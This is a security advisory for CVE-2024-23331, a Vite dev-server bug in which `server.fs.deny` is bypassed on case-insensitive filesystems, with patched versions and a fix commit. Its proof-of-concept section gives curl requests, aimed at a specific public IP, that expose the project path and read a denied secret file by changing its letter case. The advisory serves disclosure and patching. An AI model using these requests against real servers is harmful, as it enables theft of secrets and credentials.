CVE-2024-23331: Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

First published: Fri Jan 19 2024(Updated: )

### Summary [Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. ### Patches Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17 ### Details Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. See `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632 By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. ### PoC **Setup** 1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. - `npm run dev -- --host 0.0.0.0` - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. `custom.secret` and `production.pem` 3. Populated `vite.config.js` with ```javascript export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } } ``` **Reproduction** 1. `curl -s http://20.12.242.81:5173/@fs//` - Descriptive error page reveals absolute filesystem path to project root 2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js` - Discoverable configuration file reveals locations of secrets 3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT` - Secrets are directly accessible using case-augmented version of filename **Proof** ![Screenshot 2024-01-19 022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png) ### Impact **Who** - Users with exposed dev servers on environments with case-insensitive filesystems **What** - Files protected by `server.fs.deny` are both discoverable, and accessible

Credit: security-advisories@github.com security-advisories@github.com

Affected Software	Affected Version	How to fix
npm/vite	>=5.0.0<=5.0.11	5.0.12
npm/vite	>=4.0.0<=4.5.1	4.5.2
npm/vite	>=3.0.0<=3.2.7	3.2.8
npm/vite	>=2.7.0<=2.9.16	2.9.17
All of
Any of
Vitejs Vite	>=2.7.0<2.9.17
Vitejs Vite	>=3.0.0<3.2.8
Vitejs Vite	>=4.0.0<4.5.2
Vitejs Vite	>=5.0.0<5.0.12
Microsoft Windows

Remedy

https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5

CVE-2024-23331: Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

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